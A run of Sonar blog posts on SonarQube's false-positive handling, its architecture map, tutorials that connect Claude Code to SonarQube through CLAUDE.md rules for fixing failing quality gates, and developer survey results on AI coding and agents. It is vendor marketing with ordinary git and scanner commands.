How SonarQube minimizes false positives in code analysis below 5%

Manish Kapur — Thu, 19 Feb 2026 14:00:00 GMT

TL;DR overview

SonarQube minimizes false positives through deep semantic analysis—including interprocedural data flow tracking and taint analysis—rather than simple pattern matching that flags code without understanding context.
Rules are refined based on real-world codebases and user feedback, with the goal of maintaining high detection rates while keeping false positive rates low enough that developers trust and act on findings.
Users can mark findings as accepted false positives with documented rationale, which feeds back into rule improvement and helps teams distinguish noise from actionable issues over time.
Compared to tools that flag broad vulnerability categories without context, SonarQube's analysis engine reduces alert fatigue by providing confidence ratings and code flow explanations with each finding.

When developers evaluate tools for code review and analysis, one question always comes up: “How well does it avoid false positives?” A false positive occurs when a tool flags code as a problem even though the code is correct. Too many false positives quickly erode trust and reduce a team’s willingness to use automated code analysis.

Starting as a developer-first solution over 15 years ago, Sonar has invested heavily in techniques that catch only real issues while keeping false positives to a minimum. In the era of AI and agents writing code, a code verification layer that does not disrupt the agentic workflow with false positives is more important than ever. If an AI agent is forced to "fix" a non-existent issue flagged by a noisy analysis tool, it can introduce real bugs or enter a loop of unnecessary code changes, making high-precision verification the essential guardrail for automated development.

In 2025, Sonar received user feedback for a total of over 137 million distinct code issues. The overall false positive rate for these reviewed issues is staggering low at only 3.2%. Read on to learn how SonarQube’s static code analysis engine works under the hood and the specific strategies that help it deliver accurate results.

What makes false positives hard to avoid?

Static code analysis means reviewing code without running it. This poses two challenges:

The tool only sees the code, not the real runtime inputs.
Code can be written in many styles, and the tool must understand them all.

SonarQube reduces false positives by building an understanding of the code that is close to how a compiler or interpreter sees it, not just how it looks on the surface. You can think of this like a simulation engine that emulates the runtime behavior of code without actually executing it.

How SonarQube reduces false positives

1. Deep syntactic and semantic understanding of code

SonarQube does not rely solely on pattern matching. It builds internal structures from your source code, such as:

Abstract Syntax Trees (ASTs): These represent the exact structure of the code.
Control Flow Graphs (CFGs): These map all possible execution paths through a function or file.
Data Flow Graphs (DFGs): These show how data moves from one variable or function to another.

By reconstructing these models, SonarQube can understand the “shape” of your application. This allows the engine to differentiate between code that looks suspicious and code that is truly risky.

Example:
Instead of simply flagging every null check, SonarQube analyzes whether a null value can actually reach that point in the code. This avoids the common false positives that pattern‑based systems produce.

2. Multi‑stage analysis engines

SonarQube uses specialized analyzers for each programming language. These analyzers often contain multiple layers:

Lexical analysis to read raw code.
Syntactic analysis to validate structure.
Semantic analysis to understand meaning, types, and relationships.
Symbolic execution for partial simulation of execution paths.
Taint analysis for data flow analysis across all files and functions

By combining these layers, SonarQube verifies not only what the code says but what it will do. This greatly reduces false positives in rules around:

Null safety
SQL injection
Memory handling
Resource leaks
Exception handling paths

Symbolic execution, in particular, allows SonarQube to simulate real program flows without running the program. This makes it possible to detect problems only when they are realistically possible, skipping paths that cannot happen.

3. Precise rules written by programming language experts

Language rules in SonarQube are not generalized templates. They are crafted per language by engineers who deeply understand that language’s behavior and edge cases and who continuously keep these rules up to date as programming languages evolve.

This ensures the rules account for:

Valid idioms that should not be flagged
Safe modern practices that older tools mistake as errors
Common patterns in real-world codebases
Evolving language features (e.g., Kotlin coroutines, Java streams, Python async)

Language-aware rules prevent many false positives that generic static analysis tools struggle with.

4. Context-aware rule conditions

SonarQube’s rules are written to apply only when the tool has enough context to be confident. If a rule cannot be applied with high accuracy, it simply does not trigger.

Examples:

A rule about insecure input validation runs only if the code is actually handling user-controlled input.
A rule about SQL injection triggers only when SonarQube can trace the data flow from input to output and does not detect relevant input sanitization or validation.
A rule about unused variables triggers only if the tool can confirm that the variable is never read.

This selective triggering ensures high precision. It also helps users focus their limited time on solving actual problems, which is important in a world where technical backlogs are ever-growing and attention is a finite resource.

5. Cross-file, framework-aware, and cross-function understanding

Many code quality issues appear only when viewed across multiple files or layers. Sonar’s static code analysis engine can:

Track function calls across files
Understand class hierarchies
Model inherited behavior
Analyze modular or layered architectures
Understand framework-specific MVC (model view controller) or routing structures

This allows it to detect real issues that other tools might miss while avoiding false alarms caused by isolated file-based analysis.

6. Continuous code quality feedback loops

More than 7 million developers use SonarQube, which is integrated into:

IDEs (through SonarQube for IDE)
CI (Continuous Integration) pipelines
Long-term project dashboards

Because of this integration, SonarQube benefits from real-world feedback:

Developers mark findings as “false positive” or “accepted”
SonarQube collects aggregate patterns from open-source ecosystems
Rule improvements are based on real usage data

With an analysis of 750 billion LOC every day, this feedback loop steadily improves rule accuracy over time.

7. Automatic tuning based on language version and frameworks

SonarQube understands the language version (e.g., Java 21 vs. Java 8) and common frameworks (Spring, Express.js, Django, React, etc). This prevents rules from firing when the programming framework or language naturally handles the scenario.

Example:
A rule about SQL escaping may get skipped if the framework already ensures safe parameterization.

This context-aware tuning reduces false positives caused by hidden framework features. It also enables SonarQube to propose optimal patch instructions.

8. Precise handling of complex language features

SonarQube’s analyzers are able to handle the most complex features of each language:

Regular expression matching
Nullability annotations
Async/await
Optional types
Lambdas and functional programming
Destructuring
Type inference
Advanced generics and templates

False positives often occur when tools fail to understand these features. Sonar updates its engines accordingly to stay accurate and aligned with modern codebases.

Why Sonar’s approach works

The key principles are:

Only report what can actually happen.
Do not rely on surface-level patterns.
Understand the full code context.
Continuously improve rules using real-world feedback.

Because SonarQube’s static code analysis combines structured models, symbolic execution, language‑specific tuning, and real developer feedback, it produces far fewer false positives than older static code analysis tools.

Summary

SonarQube minimizes false positives by combining:

Advanced static code analysis models
Language-specific rules
Deep semantic understanding
Symbolic execution
Cross-file data flow analysis
Framework-aware logic
Continuous learning from real deployments

This approach makes the tool not only accurate but also practical for everyday development. Teams adopting SonarQube benefit from meaningful, actionable findings rather than noise.

Exploring your current architecture with SonarQube

Gabriel Vivas — Wed, 18 Feb 2026 14:00:00 GMT

TL;DR overview

SonarQube's architecture analysis features help teams understand actual code structure—dependency graphs, component coupling, and layer violations—rather than relying on outdated design documents.
Visualizing real dependencies surfaces unintended coupling between modules that increases change risk and makes refactoring harder, providing an objective basis for architectural decisions.
Architecture as code capabilities in SonarQube allow teams to define intended structural rules and automatically flag violations as the codebase evolves.
Regular architecture reviews using SonarQube metrics help engineering leaders prioritize refactoring efforts based on measurable coupling and complexity data.

A few months ago, we added a capability to manage architecture in SonarQube which comes with the ability to visualize and interact with your project’s current architecture. With this, there’s no need to do code archaeology to try to understand the relations between services, no need for new joiners to go around trying to understand the basics of the application they are building, no outdated diagrams that are “the only thing that we have.” You have access to the accurate architectures of all your applications, thanks to continuous integration that will refresh it during every analysis, with no configuration required.

The basic features

The current architecture map is a visual representation of the components that comprise a project. The layout encodes information. Classes and files are recursively grouped within their packages, modules, or folders. This shows you how your project is organized in terms of structure, the hierarchy of containers, the most basic “what is where.” Components with many children look naturally bigger.

Depending on the programming language, the structure represented corresponds to:

The logical structure, for example in Java, consists of modules, sub-modules, packages, subpackages, and classes.
The physical structure, for example in Python, consists of folders, subfolders, and files.

And the map is not just a pretty picture, it is an interactive representation, meaning you can actively explore it:

You can pan and zoom in and out.
As you get closer, labels appear, identifying the names of each component.
You can select a specific component to see incoming and outgoing relationships.
You can also step back and see things from above, to get a perspective you've never had.

Whether zoomed in or out, you can trace paths through your system, following connections from one component to the next, without reading a single line of code.

Discover and understand. That's the goal.

Isn’t this great? Well, I think it is, but there is actually much more value you can get out of the current architecture!

The advanced features

Before going through advanced features, it is important that you understand that the order and position of components on the map are not random. Components are actually ordered very methodically according to their relationships. Here is the algorithm used:

Starting from the right we position all components that have no outgoing dependencies.
Components in the same column have no relationships among themselves.
Components in a column have a least one relation with a component in the next column to the right.
The above is true at every level in the structure.

Now that you know this, you can immediately deduct that:

Dependencies will generally flow from left to right.
Components on the right have no outgoing dependencies, and are likely your foundational utilities. Changes there ripple to the left.
Components on the left have no incoming dependencies, they orchestrate the system, and use components on the right; changes there stay local.
Components stacked vertically are at a similar level of abstraction and are decoupled from each other.

And even more advanced:

When a column contains only one component, all components in column -1 (the column to the left) depend on it.
The number of columns minus 1 represents the longest dependency path.
Wider rows indicate more cohesion, therefore horizontal components contain long chains of components that depend on each other in sequence. This is typical of business logic, with many abstractions, where each one encapsulates knowledge and delegates work to others. You find these often in the middle of your system, sandwiched between entry points and low level utilities.
Longer columns indicate less cohesion, and vertical components have very little relationships inside, between internal components. This is common in utility packages, that are mostly “a bag of things,” used by the rest of the system. You’ll find these often to the right side of your system, used by lots of components.
Components that are dense, with little whitespace, which means the internal structure and relationships are homogenous.
Components that have a lot of whitespace on the contrary, means you have a parent package with a mix of vertical (low coupling) and horizontal (high coupling).

That is it, folks!

If you are not using SonarQube, sign up for SonarQube Cloud today and run your first analysis to see your project structure in minutes. If you're already using SonarQube Cloud but haven't started using the new architecture capability, then enable it now to check out your projects' architecture.

PR-to-green: Automating quality gate success with Claude Opus 4.6 and SonarQube MCP

Killian Carlsen-Phelan — Wed, 18 Feb 2026 14:00:00 GMT

TL;DR overview

This guide demonstrates a PR-to-green workflow using Claude Opus 4.6 and the SonarQube MCP Server, where an AI agent autonomously diagnoses a failing quality gate, fixes code issues, writes missing tests, and verifies the fix locally.
The agent uses the SonarQube MCP tool get_project_quality_gate_status to retrieve real-time quality gate data, then remediates bugs, code smells, and low test coverage—including auto-generating a pytest test file to meet coverage requirements.
A "shadow commit" technique allows the agent to verify fixes locally using the SonarQube scanner before pushing, ensuring the quality gate passes before code ever reaches CI.
This workflow eliminates the context-switching cycle of push, fail, diagnose, fix, and push again—delivering a clean, verified commit guaranteed to pass the quality gate.

We’ve all been there: you push a feature branch on a Friday afternoon, convinced it is solid. You switch to the next task, only to get a notification twenty minutes later: quality gate failed.

Since your PR is blocked, now you have to context-switch back, pull the logs, decipher whether it was coverage, a security hotspot, or a code smell, apply a fix, push, and wait for the CI pipeline loop again.

This context switching is the enemy of developer velocity.

In this guide, we will demonstrate a PR-to-green workflow using Claude Opus 4.6 and the SonarQube MCP Server. Instead of manually hunting down code issues, we will configure an AI agent to:

Diagnose the failing quality gate using real-time SonarQube data.
Remediate the code, including writing missing unit tests for coverage.
Verify the fix locally using the SonarQube scanner.
Deliver a clean commit that is guaranteed to pass.

The goal: Vibe, then verify

We want to let AI handle the implementation details (the vibe), but use SonarQube as the non-negotiable source of truth (the verify). By moving the verification step to your local CLI before you push, you eliminate CI/CD pipeline ping-pong.

Prerequisites

SonarScanner CLI: The engine that packages code for static code analysis.
- Quick check: Run sonar-scanner -v. (Ensure you have a Java Runtime installed).
SonarQube MCP Server: The bridge that allows Claude to "speak" Sonar.
- Setup Guide: Official SonarQube MCP Docs

Note: we recommend using the manual JSON configuration.

Claude Code: Installed and authenticated
A local repository with a failing PR (we will use a Python project with 0.0% coverage for this demo).

Step 1: Configuring the quality gate resolution agent

Create a file named CLAUDE.md in your root directory. This acts as the system prompt for our specific task. It instructs Claude to prioritize SonarQube metrics over its own intuition and enforces a local scan loop.

File: CLAUDE.md

# Role: SonarQube Quality Gate Resolution

You are responsible for ensuring all code passes the SonarQube Quality Gate before merging. Your goal is to autonomously drive a failing PR to a passing state by validating changes locally before pushing to a CI.

## Operational Workflow

1.  **Diagnose (MCP)**

   * Immediately use SonarQube MCP tools to fetch the current **Quality Gate Status** for the PR. (Don't use gh tools, use the sonarqube ones)

   * Identify conditions: "Code Smells", "Vulnerabilities", and **"Coverage"**

   * *Crucial:* If low test coverage is causing a failed quality gate, you MUST treat this as a blocking issue requiring code generation (Unit Tests).

   * List the top "Blocker" and "Critical" issues grouped by file.

2.  **Fix (Code)**

   * Create a concise plan to address the highest priority issues first.

   * Modify the code to resolve the specific issues flagged by SonarQube.

   **Fix Coverage:** * If coverage is low, **write unit tests** for the modified files.

   * *Constraint:* Do not attempt to refactor unrelated code; focus strictly on Quality Gate requirements.

3.  **Verify (Validation: Local Scan)**

   * **Context:** SonarQube Cloud PR analysis requires changes to be *committed* to register as "New Code" in the PR Diff. Uncommitted changes are often ignored by the PR engine.

   * **Coverage:** Generate a coverage report artifact before scanning.

   * **Step 1: Shadow Commit**

       * You MUST commit the changes locally to register them in the Git index.

       * Command: `git commit -am "chore: temporary sonar verification"`

   * **Step 2: Run Scanner**

       * Execute the scanner.

       Note: dynamically replace $PR_KEY and other variables with the actual values.

       * **Flags:**

         `-Dsonar.pullrequest.key=$PR_KEY`

         `-Dsonar.pullrequest.branch=$PR_BRANCH`

         `-Dsonar.pullrequest.base=$PR_BASE`

         `-Dsonar.qualitygate.wait=true`

   * **Step 3: Interpret Results**

       * **Exit Code 0:** PASSED. The fix is valid.

       * **Exit Code 3:** FAILED.

            * *Action:* The fix is insufficient. Read the logs.

            * *Crucial:* You must `git reset --soft HEAD~1` (undo the commit but keep changes) before attempting to fix the code again, or simply `git commit --amend` for the next attempt.

   * **Loop:**

       * If **FAIL**: Undo Commit/Amend -> Fix Code -> Re-commit -> Re-scan.

       * If **PASS**: Proceed to Deliver.

4.  **Deliver**

   * Once the local scan is PASS, rename the commit to a meaningful feature message, and instruct the user to `git push`.

   * Confirm that this will resolve the remote PR.

## Strict Rules

* **Source of Truth:** Trust SonarQube metrics over your own static analysis intuition.

* **No Blind Pushes:** Never recommend `git push` until a local `sonar-scanner` run confirms a Green Quality Gate via MCP.

* **Environment:** Assume `SONAR_TOKEN` and necessary build tools are already present in the current session.

Step 2: The diagnosis

If we look at our current state, we see that we have a PR open that is failing hard.

New Code Coverage: 0.0%
Security Rating: E
Issues: 17 total (including blocker and critical)

You can click through the SonarQube interface to triage these issues if you like, but we also have the option to simply stay put in the terminal.

Run Claude Code with the context of our agent file and the repository:

Claude reads the CLAUDE.md instructions and immediately calls the SonarQube MCP tool get_project_quality_gate_status. It is not hallucinating any of these errors because it fetches the exact JSON payload from SonarQube Cloud.

It identifies the breakdown accurately:

Coverage: 0.0% (Failing condition < 80%)
Issues: 17 issues detected in payment_processor.py

Step 3: The fix and shadow commit

This is where the agent workflow shines. In addition to patching the code, Claude Opus 4.6 also recognizes that coverage is a failing condition.

In this example, the agent:

Refactors payment_processor.py.
Generates a new test file test_payment_processor.py using pytest to satisfy the coverage requirement.

The shadow commit trick

To verify the fix, we cannot simply run the scanner on dirty working files. SonarQube's PR analysis relies on git history to determine what is "New Code."

As defined in our agents.md, Claude performs a shadow commit:

git commit -am "chore: temporary sonar verification"

This registers the changes in the git index, allowing the scanner to accurately compare the branch against the main target.

Step 4: Local verification

Now, the agent runs the sonar-scanner locally. This is the verify step of vibe, then verify.

It passes the PR keys dynamically:

sonar-scanner -Dsonar.pullrequest.key=5 -Dsonar.pullrequest.branch=feature/payment-update ...

If the scanner returns an error (Quality Gate failed), the agent captures the output, resets the shadow commit, applies a new fix, and loops again. You don't have to touch the keyboard.

In our run, the first fix was successful.

Coverage: 98.9%
Quality Gate: PASSED

Why this matters

This workflow represents a maturity shift in how we use AI assistants. We aren't just asking LLMs to write code and hoping for the best, in fact we are binding them to a governance contract (with the SonarQube Quality Gate).

By using the SonarQube MCP Server and a defined agent role, you ensure that:

AI fixes are accurate: They address the specific blocking issues reported by the server.
Coverage isn't an afterthought: The agent knows it must write tests to pass the gate.
The Feedback loop is instant: You fix the build before it ever leaves your machine.

Start using this workflow today by signing up for a SonarQube Cloud account, installing the SonarQube MCP Server, and adding the CLAUDE.md template to your project root.

Claude Code + SonarQube MCP: Building an autonomous code review workflow

Killian Carlsen-Phelan — Wed, 18 Feb 2026 14:00:00 GMT

TL;DR overview

This guide demonstrates how to build an autonomous code review workflow by connecting Claude Code to SonarQube Cloud via the SonarQube MCP Server—enabling the AI agent to write, scan, and self-correct code in a single automated loop.
Claude Opus 4.6 uses MCP tools to fetch real-time quality gate status and issue data from SonarQube Cloud, then autonomously fixes flagged security vulnerabilities (including a high-severity S3 bucket ownership issue) and low test coverage.
Safety guardrails include CLAUDE.md instructions that force the agent to verify all code with the SonarQube scanner before committing, and Claude's --max-turns flag and hooks system to prevent runaway automation.
The result is an AI agent that doesn't just write code but holds itself accountable to engineering standards—verifying that every fix passes the quality gate before any code is pushed.

Claude Opus 4.6 has just been released, and we are officially in the age of hyper-speed coding. These incredible tools are able to generate code at even more incredible speeds.

However, this capability does not come without downsides—AI tools have blindspots. Speed does not equal quality. They can introduce security vulnerabilities, use deprecated libraries, or write logic that technically works but is a nightmare to maintain 6 months from now. If you’re not careful, that means you as a software developer end up effectively being a “janitor,” having to read line by line, reviewing and cleaning up software bugs, and tediously explaining to the model what it did wrong.

But there’s a better way! We can close the loop. If we give Claude direct access to SonarQube Cloud, it can do code reviews and self correct. It can write code, scan it, realize it introduced a security hole, fix it, and then hand you the clean result.

Here is how we architect this flow:

Agent generates code locally.
Agent triggers the sonar-scanner binary to upload a snapshot.
SonarQube Cloud does the code review and processes the analysis asynchronously.
Agent queries the SonarQube MCP Server to fetch the specific errors.
Agent refactors the code autonomously until the Quality Gate passes.

1. Prerequisites

To follow along, you need the basic plumbing in place.

SonarScanner CLI: The engine that packages code for analysis.
- Quick check: Run sonar-scanner -v. (Ensure you have a Java Runtime installed).
SonarQube MCP Server: The bridge that allows Claude to "speak" SonarQube.
- Setup Guide: Official SonarQube MCP Docs

Note: we recommend using the manual JSON configuration.

Claude Code: Installed and authenticated

2. Project configuration

So we don’t have to explain the project structure to the scanner every time we run a prompt, drop a sonar-project.properties file in your project root.

Create the file and paste this in:

sonar.projectKey=YOUR_PROJECT_KEY

sonar.organization=YOUR_ORG_KEY

sonar.sources=.

sonar.sourceEncoding=UTF-8

sonar.exclusions=**/node_modules/**,**/dist/**,**/.git/**,**/venv/**

sonar.qualitygate.wait=true

3. Behavior enforcement

We need to tell Claude that quality isn’t optional. We can do this by creating an CLAUDE.md file in the root directory

1. You MUST verify All generated code before asking me to push.

2. To verify code, run the `sonar-scanner` command.

3. When running the scanner, use the `SONAR_TOKEN`, which I will have exported in the session.

4. After scanning, use your MCP tools to check the Quality Gate status or read the scanner output to identify issues.

5. If SonarQube reports bugs or smells, fix them immediately and re-scan. If low test coverage is causing a failed quality gate, you MUST treat this as a blocking issue requiring code generation (Unit Tests).

Only recommend pushing when the Quality Gate PASSES.

4. Seeing it in action (The fun part)

Now that we are set up, let's look at a real run. I'm going to ask Claude to generate a Python script that uploads a CSV to AWS S3, which can often include hidden security risks.

The prompt: I start by passing my token securely in the session and giving the prompt (adding a space before the command avoids history in some shells, which is ideal). If you have the token set as an environment variable, you do not have to do this, as the sonar-scanner binary automatically looks for the SONAR_TOKEN.

export SONAR_TOKEN=your_token_value

claude

The context check: Claude is smart enough to ensure it's looking at the right project. It uses the MCP tool to search my account.

The vulnerability: Here is where it gets interesting. Claude wrote the code, ran the scanner, and SonarQube Cloud flagged failing some conditions, which include test coverage as well as a High Severity issue. Specifically, rule S7608: S3 operations should verify bucket ownership.

If I were coding this manually, I might have missed that parameter. But this is where Claude Opus 4.6 really shines, as it drills into the rule to understand exactly why it failed:

The fix: Claude reads the documentation from the tool output, realizes it needs the ExpectedBucketOwner parameter, and applies the fix autonomously. Opus 4.6 is particularly good at this multi-step reasoning, and it easily connects the error log to the documentation without needing a human hint.

The result: Finally, it runs a verification scan. The code is clean, the security hole is patched, tests have been added, and the quality gate has passed.

Hardening the loop: iteration caps and guardrails

After publishing this article, a reader reported that their agent got stuck in a 40-minute fix-break-fix cycle using this workflow. Their diagnosis: "the SonarQube rules conflicted with each other." That’s a real problem worth addressing, but the diagnosis is wrong.

SonarQube rules analyze source code independently. Each one evaluates the AST and semantic model on its own, without depending on the output of other rules.

What actually happens is subtler. The agent fixes one issue with a narrow patch that incidentally introduces a new violation. In languages like Java, extracting methods to reduce cognitive complexity (S3776) could theoretically trip the "too many methods" rule (S1448), but S1448’s default threshold is 35 methods. And in Python, where S1448 doesn’t apply, the real risk is that the agent’s method extraction introduces new complexity elsewhere. Either way, the rules aren’t contradicting each other. The agent is playing whack-a-mole with individual error messages instead of refactoring holistically.

Combine that with the original instruction to "fix them immediately and re-scan" (with no upper bound), and the agent will loop until you kill it or it runs out of context.

The fix is straightforward. Add an iteration cap and a "stop and report" fallback to your CLAUDE.md:

1. You MUST verify all generated code before asking me to push.

2. To verify code, run the `sonar-scanner` command.

3. When running the scanner, use the `SONAR_TOKEN`, which I will have exported in the session.

4. After scanning, use your MCP tools to check the Quality Gate status or read the scanner output to identify issues.

5. If SonarQube reports bugs or smells, fix them and re-scan. You may attempt a maximum of 3 fix-scan cycles.

6. If issues persist after 3 cycles, stop and report the remaining issues to me with your analysis of why they’re recurring. Do not keep looping.

7. When fixing issues, refactor holistically — don’t fix rules one at a time in isolation. Consider how your fix affects the broader class and module design.

8. If low test coverage is causing a failed quality gate, you MUST treat this as a blocking issue requiring code generation (unit tests).

9. Only recommend pushing when the Quality Gate PASSES.

The key changes: a hard cap of three fix-scan cycles (rule 5), an explicit instruction to stop and report rather than loop forever (rule 6), and guidance to refactor holistically rather than fixing rules in isolation (rule 7). That last point matters most. An agent that considers the broader class design when fixing a complexity warning won’t accidentally create a god class in the process.

For additional safety, Claude Code offers two more guardrails. The --max-turns flag caps the total number of agentic turns when running in print mode (-p). And the hooks system lets you wire up shell commands to lifecycle events like PreToolUse, so you can build a circuit breaker that blocks the scanner after N invocations. To count sonar-scanner runs, match on the Bash tool and check the command content; to count MCP issue-fetching calls, match on the MCP tool name directly.

That’s it. By combining the reasoning depth of Claude Opus 4.6 with the strict code review and validation of SonarQube, you now have an AI agent that doesn’t just write code, but effectively holds itself accountable to your engineering standards.

The great toil shift: How AI is redefining technical debt

Prasenjit Sarkar — Thu, 12 Feb 2026 14:00:00 GMT

TL;DR overview

AI is fundamentally reshaping AI technical debt: 88% of developers report at least one negative impact, while 93% also cite measurable benefits — a "great toil shift" where old burdens are replaced by new ones.
The biggest risk is plausible-looking but unreliable code: 53% of developers say AI generates code that appears correct yet introduces hidden defects and false security confidence.
AI's top benefits include improved documentation (57%) and reduced time on legacy-code tasks, especially for senior developers navigating poorly documented systems.
To escape the productivity paradox, teams should adopt a "vibe, then verify" culture backed by static code analysis — 70% of developers already use such tools, and SonarQube users report stronger outcomes on code quality and rework costs.

In our deep dives on the first four chapters of our State of Code Developer Survey report, we examined the rapid adoption of AI coding assistants and the growing "trust gap" emerging as code volume explodes. We’ve seen that while AI is accelerating the speed of generation, it has created a dangerous bottleneck in code verification.

This brings us to the fifth installment in our series, where we examine the on-the-ground reality for software engineers. In Chapter 4 of our report, "Meet the new developer toil", we uncover a hard truth: AI isn’t eliminating the frustrating, repetitive work that hinders productivity—it’s simply changing its shape.

The illusion of toil savings

At first glance, the data looks promising. Our study found that developers are reporting real benefits, such as an average personal productivity boost of 35%. Furthermore, 75% of software developers believe that AI reduces the amount of time they spend on "toil work"—those tedious tasks that sap energy and slow down innovation.

However, when we look under the surface, the picture becomes more complicated. When asked to estimate the time spent on various development tasks throughout their work week, software developers reported spending nearly a quarter of it (23–25%) on toil tasks. Interestingly, this percentage remains almost identical for both frequent AI users and those who use it less often.

Swapping old frustrations for new ones

The research reveals a "great toil shift." While AI helps clear away old software development hurdles, it simultaneously creates new ones downstream.

Less frequent AI users are more likely to report toil from tasks AI is traditionally good at, such as debugging poorly documented code and understanding legacy systems.
The most frequent AI users, however, are seeing toil move into new areas: managing technical debt and—unsurprisingly—correcting or rewriting code created by generative AI tools.

This shift suggests that while we’ve accelerated code generation, we’ve merely moved the pressure to code management and verification.

AI and technical debt

The impact of AI on technical debt is a double-edged sword. We found that AI is taking away with one hand and giving back with the other.

On the negative side, 88% of software developers report at least one negative impact of AI on technical debt. A majority—53% of developers—attributed this to AI creating code that looked correct but was unreliable. This is a particularly pernicious problem, as it can create a false sense of code security that leads teams to skip thorough review.

40% of developers say AI has increased debt by generating unnecessary or duplicative code.

Conversely, developers are intelligently applying AI to the parts of debt management they hate most, which is why 93% of developers also report at least one positive impact of AI on technical debt. For example, 57% of them cited improved documentation as a primary benefit. This is especially true for senior developers, who value AI's ability to help wrestle with poorly documented legacy systems.

Solving the challenge: Vibe, then verify

The takeaway for engineering leaders is clear: generating code faster is only half the battle. If you ship code that looks right but isn't reliable, you aren't improving the long-term health of your codebase.

To escape this productivity paradox, organizations must move toward a "vibe, then verify" culture. This means granting developers the freedom to "vibe"—to experiment and create boldly with AI—while maintaining a rigorous accountability framework to "verify."

Teams are already doubling down on deterministic, rules-based AI code review to manage this surge. Our data shows that 70% of developers are already using static code analysis tools, and SonarQube users report stronger positive impacts on code quality and rework costs than non-users. By integrating automated verification directly into the workflow, teams can ensure that the speed gains of AI lead to real-world quality improvements, rather than just faster-growing technical debt.

Read the full report.

Join us at Sonar Summit: A blueprint for the AI-driven SDLC

Amy Hays — Wed, 11 Feb 2026 14:00:00 GMT

TL;DR overview

Sonar Summit is a community and customer event where developers, security engineers, and engineering leaders come together to learn about advances in code quality, security, and AI-assisted development.
Attendees can expect product announcements, technical sessions on static analysis and secure coding practices, and opportunities to connect with Sonar's engineering and research teams.
The summit provides practical sessions on getting the most from SonarQube, including configuration best practices, integration tips, and strategies for scaling code quality across large organizations.
Interested participants can register through the Sonar events page at sonarsource.com/resources/events.

On March 3, Sonar will host its inaugural Sonar Summit virtual event, bringing together industry experts and software engineering leaders to discuss the strategies needed to optimize the AI-driven software development lifecycle.

According to our 2026 State of Code: Developer Survey report, 96% of developers do not fully trust AI-generated code without manual intervention. This lack of reliability has caused developer "toil" to shift; teams now spend 24% of their week on checking and fixing unreliable AI output.

Join us to learn how to resolve this friction, improve AI accuracy, automate governance for safe scaling, and resolve code issues to reduce technical debt. Sonar Summit gives you the opportunity to hear directly from the people shaping the future of software engineering.

Speaker highlights:

Tariq Shaukat, CEO of Sonar: Drawing insights from Sonar’s position as the industry leader in code review, Tariq will discuss the future of code verification in an AI-driven industry.
Gergely Orosz, Author of The Pragmatic Engineer: One of the most influential voices in engineering management will discuss the realities of AI at scale and provide a pragmatic framework for moving AI drafts into secure, maintainable code.
Laura Tacho, Executive Advisor: A pioneer in developer productivity, Laura will explain how to measure what matters in the AI era, ensuring teams focus on meaningful impact rather than just the speed of generation.
Technical insights from industry experts including: Santiago Valdarrama (Founder and ML Engineering Leader, Tideily), Cole Medin (Founder and AI Educator, Dynamous), Kesha Williams (Founder & Managing Partner, Keysoft), Lena Hall (Senior Director of Developer Relations, Akamai), Kunal Kushwaha (Senior Developer Advocate, Cast AI), and Abhishek Veeramalla (CTO, AKVA & DevOps content creator).
Real-world success stories: Direct insights from engineering leaders at global organizations including Cisco, Roche, and TD Bank on the hands-on strategies they use to verify AI solutions in complex environments.
Hands-on demos and use cases: Deep-dive technical tutorials and ecosystem partner sessions to help accelerate adoption and deliver outcomes.

A blueprint for the AI-driven SDLC

The software development industry is currently at a critical crossroads. While the rapid adoption of AI has dramatically increased the speed of code generation, it has simultaneously introduced a significant trust and verification gap. We are moving past the initial phase of AI assistance and into an era where the primary focus must shift toward reliability, security, and the elimination of manual friction.

The core tension in modern engineering is the "productivity paradox"—where the time saved by AI generation is often reclaimed by the effort required to verify its output. It is no longer enough to simply produce code; the industry must adopt a "trust and verify" model that integrates deterministic code quality into the heart of the SDLC. By focusing on verification at the source and implementing automated governance, organizations can ensure that AI-driven development scales safely without accumulating a mountain of technical debt. Sonar Summit is designed to address this shifting landscape and build a sustainable framework for the future of code.

Registration details

Sonar Summit is a global event featuring unique content and live hosts across American, European, and Asian time zones on March 3, 2026. Secure your spot today.

Thank you to our partners: Sonar would like to thank our partners for their support in making this global event possible: Excentia (Platinum Sponsor), Google, JFrog, JellyFish, and Wiz.

The automation shift: Why 64% of developers use AI agentic tools

Ekaterina Okuneva — Thu, 05 Feb 2026 14:00:00 GMT

TL;DR overview

64% of developers now use AI agentic tools—moving beyond simple assistants to autonomous agents capable of executing multi-step, goal-driven workflows.
Top agentic use cases include documentation creation (68%), automated test generation (61%), and automated code review (57%), yet only 52% rate agents as highly effective for code review.
As agents become more autonomous, the risk of unverified code entering production grows—developers still account for only 28% of agentic use in security vulnerability patching.
Teams that adopt agents without automated verification face a new bottleneck: the productivity gains of generation are lost to downstream fixing, underscoring the need for a robust 'vibe, then verify' approach.

In the first three blog articles of this series, we explored the new daily habit of AI coding, the critical trust gap between generation and correctness, and the rapid sprawl of "bring your own AI" tools within software engineering teams. We learned that while AI is accelerating the speed of writing code, it has created a dangerous verification bottleneck.

But the evolution of AI doesn't stop at assistants that wait for a prompt. In the fourth chapter of our State of Code Developer Survey report, we examine the next major shift in the software development lifecycle: the move toward autonomous agents.

The data suggests we have officially entered the second act of AI coding—where tools are no longer just passive helpers but active teammates capable of goal-driven action.

Agentic AI is moving from experiment to everyday tool

Experimenting with autonomous agents is quickly giving way to [in]formal integration. Our survey of over 1,100 software developers reveals that agentic AI has moved far beyond the "hobbyist" phase.

Currently, 64% of developers have started to use AI agents in their development work. This total includes 39% who have begun experimenting with agentic workflows and 25% of developers who now use agentic AI tools regularly in their daily professional routines.

This rapid adoption signifies a fundamental change in how work is orchestrated. We are moving from a model where humans perform every individual task to one where developers define goals and supervise autonomous systems that execute multi-step processes.

Use cases match AI’s natural strengths

The data shows that developers are being pragmatic about where they deploy agents, focusing on areas where AI already demonstrates high levels of capability. Among the developers using agentic AI, the top use cases align with the natural strengths of large language models:

68% of developers use agents for creating code documentation
61% of developers use agents for automated test generation and execution
57% of developers use agents for automated code review

In contrast, high-stakes tasks like security vulnerability patching remain the least common use case, utilized by only 28% of developers. This selective deployment indicates that while developers trust agents to handle "toil" tasks like documentation and testing, they remain cautious about giving up control on mission-critical code security remediation.

The effectiveness gap persists

While usage is growing, the perceived value of these agents varies significantly by task. For example, 70% of developers rate agents as effective for documentation, which explains why it is the most adopted use case. However, only 52% find agents highly effective for automated code review.

